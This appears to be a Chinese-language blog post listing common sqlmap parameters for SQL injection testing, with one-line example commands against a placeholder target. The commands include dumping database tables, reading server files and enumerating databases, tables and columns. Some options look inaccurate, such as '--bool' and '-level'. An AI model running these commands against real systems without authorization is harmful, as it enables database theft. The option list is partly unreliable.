sqlmap常用参数及示例
共 2604字,需浏览 6分钟
·
2024-06-30 08:30
关注开源优测不迷路
目标设定
- -d: 针对一个数据库管理系统的用户提供的 SQL 语句。
sqlmap -d "mssql://sa:password@localhost/DataBase?driver=SQL+Server"
-r: 从一个文件中读取 HTTP 请求。sqlmap -r request.txt
测试范围和选项
-u: 目标 URL。sqlmap -u "http://example.com/index.php?id=1"--risk: 设置测试的风险等级(1-3)。sqlmap -u "http://example.com/index.php?id=1" --risk=3-level: 设置测试的技术水平(1-5)。sqlmap -u "http://example.com/index.php?id=1" --level=2
配置选项
--dbms: 指定后端数据库的类型(如mysql,mssql等)。sqlmap -u "http://example.com/index.php?id=1" --dbms=mysql--user-agent: 指定 User-Agent 字符串。sqlmap -u "http://example.com/index.php?id=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"--proxy: 使用 HTTP 代理。sqlmap -u "http://example.com/index.php?id=1" --proxy="http://127.0.0.1:8080"
性能选项
--delay: 两次请求之间的延迟时间。sqlmap -u "http://example.com/index.php?id=1" --delay=5--threads: 定义并发线程的数量。sqlmap -u "http://example.com/index.php?id=1" --threads=5
布尔盲注
--bool: 强制使用布尔盲注。sqlmap -u "http://example.com/index.php?id=1" --bool
数据获取
-D: 指定数据库名称。sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase-T: 指定表名。sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable-C: 指定列名。sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable -C yourColumn
操作选项
--dump: 转储数据库表的内容。sqlmap -u "http://example.com/index.php?id=1" --dump--file-read: 从数据库中读取文件。sqlmap -u "http://example.com/index.php?id=1" --file-read="path/to/your/file"
其他
-v: 详细模式,显示更多信息。sqlmap -u "http://example.com/index.php?id=1" -v-h: 显示帮助信息。sqlmap -h
